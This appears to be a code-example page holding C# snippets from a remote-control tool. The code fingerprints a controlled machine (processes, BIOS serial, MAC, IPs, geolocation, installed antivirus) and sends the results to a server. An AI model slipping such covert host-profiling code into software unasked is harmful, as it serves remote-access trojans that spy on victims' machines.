示例#1
0
        private void SendProcessList()
        {
            List <ProcessInfo> processInfos = new List <ProcessInfo>();

            foreach (Process p in Process.GetProcesses().OrderBy(p => p.ProcessName).ToArray())//按照进程名排序
            {
                processInfos.Add(new ProcessInfo()
                {
                    ProcessId          = p.Id,
                    ProcessName        = p.ProcessName,
                    ProcessThreadCount = p.Threads.Count,
                    WindowHandler      = (int)p.MainWindowHandle,
                    WindowName         = p.MainWindowTitle,
                    ProcessMemorySize  = ((int)p.WorkingSet64) / 1024
                });
            }

            PerformanceCounter cpu  = new PerformanceCounter("Processor", "% Processor Time", "_Total");
            ComputerInfo       cinf = new ComputerInfo();

            cpu.NextValue();//刷新一次

            string sCpuUserate = "-1";

            try
            {
                //possible this Exception : Cannot load Counter Name data because an invalid index '' was read from the registry.
                sCpuUserate = ((cpu.NextValue() / (float)Environment.ProcessorCount)).ToString("0.0") + "%";
                cpu.Dispose();
            }
            catch { }

            SystemInfoPack sysInfos = new SystemInfoPack();

            sysInfos.ProcessList = processInfos.ToArray();

            processInfos.Clear();

            sysInfos.BiosserialNumber = SystemInfoUtil.BIOSSerialNumber;
            sysInfos.CpuUsage         = sCpuUserate;
            sysInfos.Mac         = SystemInfoUtil.GetMacNumber;
            sysInfos.MyDriveInfo = SystemInfoUtil.GetMyDriveInfo;
            sysInfos.StartupPath = Application.ExecutablePath;
            sysInfos.SystemVison = Environment.Version.ToString();
            sysInfos.TickCount   = Environment.TickCount.ToString();
            sysInfos.UserName    = Environment.UserName;
            sysInfos.MemoryUsage = (cinf.TotalPhysicalMemory / 1024 / 1024).ToString() + "MB/" + ((cinf.TotalPhysicalMemory - cinf.AvailablePhysicalMemory) / 1024 / 1024).ToString() + "MB";

            sysInfos.StartRunTime   = AppConfiguartion.RunTime;
            sysInfos.SystemEdition  = SystemInfoUtil.GsystemEdition;
            sysInfos.CPUCoreCount   = Environment.ProcessorCount.ToString();
            sysInfos.CPUInforMation = SystemInfoUtil.GetMyCpuInfo;
            sysInfos.MemorySize     = SystemInfoUtil.GetMyMemorySize;
            sysInfos.MachineName    = Environment.MachineName.ToString();
            sysInfos.ServerVison    = AppConfiguartion.Version;

            SendAsyncToServer(MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos);
        }
        public void ProcessItemHandler(SessionHandler session)
        {
            SystemInfoPack pack = session.CompletedBuffer.GetMessageEntity <SystemInfoPack>();

            _ProcessInfoList.Items.Clear();

            var listviews = new ProcessListviewitem[pack.ProcessList.Length];

            for (int i = 0; i < pack.ProcessList.Length; i++)
            {
                var processInfo = pack.ProcessList[i];
                listviews[i] = new ProcessListviewitem(processInfo.ProcessId, processInfo.ProcessName, processInfo.WindowName, processInfo.WindowHandler, processInfo.ProcessMemorySize, processInfo.ProcessThreadCount);
            }
            _ProcessInfoList.Items.AddRange(listviews);

            m_proNum.Text = _ProcessInfoList.Items.Count.ToString();

            mSysteminfo.Items.Clear();

            mSysteminfo.Items.Add("操作系统版本:" + pack.SystemEdition);
            mSysteminfo.Items.Add("主板序列号:" + pack.BiosserialNumber);
            mSysteminfo.Items.Add("MAC:" + pack.Mac);
            mSysteminfo.Items.Add("硬盘:" + pack.MyDriveInfo);
            mSysteminfo.Items.Add("服务启动路径:" + pack.StartupPath);
            mSysteminfo.Items.Add("系统版本号:" + pack.SystemVison);
            mSysteminfo.Items.Add("系统启动时间:" + pack.TickCount);
            mSysteminfo.Items.Add("系统账户:" + pack.UserName);
            mSysteminfo.Items.Add("核心数量:" + pack.CPUCoreCount);
            mSysteminfo.Items.Add("CPU信息:" + pack.CPUInforMation);
            mSysteminfo.Items.Add("内存:" + pack.MemorySize);
            mSysteminfo.Items.Add("计算机名称:" + pack.MachineName);

            mSysteminfo.Items.Add("服务启动时间:" + pack.StartRunTime);
            mSysteminfo.Items.Add("服务版本:" + pack.ServerVison);

            cpuUse.Text  = "CPU使用率:" + pack.CpuUsage;
            moryUse.Text = "内存使用率:" + pack.MemoryUsage;
        }
示例#3
0
        public void GetSystemInfosHandler(TcpSocketSaeaSession session)
        {
            ThreadHelper.ThreadPoolStart(c =>
            {
                GeoLocationHelper.Initialize();

                var infos = new List <SystemInfoItem>();
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "主板序列号",
                    Value    = SystemInfoHelper.BIOSSerialNumber
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "网卡MAC",
                    Value    = SystemInfoHelper.GetMacAddress
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "驱动器存储信息",
                    Value    = SystemInfoHelper.GetMyDriveInfo
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "运行目录",
                    Value    = Application.ExecutablePath
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本号",
                    Value    = Environment.Version.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "启动毫秒",
                    Value    = Environment.TickCount.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "登录账户",
                    Value    = Environment.UserName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务启动时间",
                    Value    = AppConfiguartion.RunTime
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本",
                    Value    = SystemInfoHelper.GetOSFullName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统核心数",
                    Value    = Environment.ProcessorCount.ToString()
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "CPU信息",
                    Value    = SystemInfoHelper.GetMyCpuInfo
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统内存",
                    Value    = (SystemInfoHelper.GetMyMemorySize / 1024 / 1024) + "MB"
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "计算机名称",
                    Value    = Environment.MachineName
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务版本",
                    Value    = AppConfiguartion.Version
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "WAN IP",
                    Value    = GeoLocationHelper.GeoInfo.Ip
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "LAN IP",
                    Value    = SystemInfoHelper.GetLocalIPV4()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "安全软件",
                    Value    = SystemInfoHelper.GetAntivirus()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "国家",
                    Value    = GeoLocationHelper.GeoInfo.Country
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "ISP",
                    Value    = GeoLocationHelper.GeoInfo.Isp
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "GPU",
                    Value    = SystemInfoHelper.GetGpuName()
                });
                var sysInfos         = new SystemInfoPack();
                sysInfos.SystemInfos = infos.ToArray();
                SendTo(CurrentSession, MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos);
            });
        }